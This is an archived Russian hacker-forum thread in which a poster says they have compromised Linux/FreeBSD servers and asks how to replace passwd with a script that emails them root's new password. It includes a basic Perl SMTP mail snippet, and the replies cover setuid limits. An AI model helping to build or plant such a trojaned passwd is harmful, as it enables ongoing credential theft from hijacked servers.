Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

свой скрипт вместо passwd

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [*nix/Linux] >> свой скрипт вместо passwd
Имя
Сообщение << Старые топики   Новые топики >>
свой скрипт вместо passwd - 2010-10-13 16:49:33.946666   
testfreebsd

Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
дано
linux/freebsd дедик сервера хакнутые.
Хочу чтоб когда меняется пароль рута, на мыло приходило письмо с новым паролем.
Пришла идея подменить команду passwd на скрипт в котором меняется сперва пароль а потом высылается на почту.
По есть следующее perl скрипт.
    use Net::SMTP;
    $smtp = Net::SMTP->new('smtp.mail.ru');
    $smtp->mail($ENV{pupkin});
    $smtp->to('pupkin@mail.ru');
    $smtp->data();
    $smtp->datasend("To: postmaster\n");
    $smtp->datasend("\n");
    $smtp->datasend("A simple test message\n");
    $smtp->dataend();
    $smtp->quit;
Подскажите как подставить в систему этот скрипт и может что подправить надо
Спасибо.
Post #: 1
RE: свой скрипт вместо passwd - 2010-10-13 20:41:29.260000   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
passwd – это суидная программа. Значит скрипт не покатит. Надо на C писать.
Post #: 2
Вброс - 2010-10-13 21:10:29.073333   
Pupkin-Zade

Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
Вот все и выяснилось

Линукс гавно, опен соурс для нищих
Post #: 3
RE: Вброс - 2010-10-13 21:53:30.690000   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
Ох ты, я на почтовый адрес в скрипте не обратил внимания, и не догадался, что ТС – это фейк Пупкина.
Post #: 4
RE: Вброс - 2010-10-13 22:29:18.656666   
testfreebsd

Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
to rgo
Не совсем понял ну даже если на С можно покопаться :)
to Pupkin-Zade
Тоже самое на винде сделаешь?
Post #: 5
RE: Вброс - 2010-10-13 22:30:48.146666   
Brz

Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
Думаю, не прокатит..Иначе Фряху - ф топку навеки.. 
Post #: 6
RE: Вброс - 2010-10-13 22:34:20.490000   
Brz

Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
Думаю, не прокатит..Иначе Фряху - ф топку навеки..
В смысле команду подменить не прокатит.
Блин, глюцк какой-то..
Post #: 7
RE: Вброс - 2010-10-13 22:35:52.583333   
testfreebsd

Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
мдя .. все прокатит не флудите без дела, прога пишется под рутом это рас, а ток кто дает рута пусть сперва думает вряха мряха все пишется людьми.
Post #: 8
RE: Вброс - 2010-10-13 22:51:54.940000   
Brz

Сообщений: 2024
Оценки: 0
Присоединился: 2010-09-19 12:17:29.423333
Скрипт под рутом не пишется, а запуститься должен - это рас.А два - ещё с IPFV договориться надо, и в логах у него твоя почта останется.Это тоже минус.
Но я в этих делах нуб, так что помолчу лучше…
Post #: 9
RE: Вброс - 2010-10-13 23:12:41.230000   
testfreebsd

Сообщений: 4
Оценки: 0
Присоединился: 2010-10-13 16:22:04.606666
Я в курсе что скрипт запускается под рутом не нюби
IPFW, PF и прочих нет
Post #: 10
RE: Вброс - 2010-10-14 00:18:55.823333   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
quote:

ORIGINAL: Brz
Скрипт под рутом не пишется, а запуститься должен - это рас.

Ты попробуй. Вот тебе test-case:root# cat &gt;tmp.sh &lt;&lt;EOF &gt; #!/bin/bash &gt; whoami &gt; EOF root# cat tmp.sh #!/bin/bash whoami root# chmod +x tmp.sh root# chmod u+s tmp.sh root# ls -l tmp.sh -rwsr-xr-x 1 root root 19 Окт 14 00:11 tmp.sh root# su rgo -c ./tmp.sh rgoЯ, на самом деле, ещё удивлён тем, что оно вообще запустилось. Помню как-то раз мне надо было, но хрен: суидный скрипт отказался запускаться. Пришлось писать суидный бинарь, который запускал мой скрипт. А, может дело было в том, что у меня интерпретатор был не перечислен в /etc/shells?
Post #: 11
Страниц:  [1]
Все форумы >> [*nix/Linux] >> свой скрипт вместо passwd







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.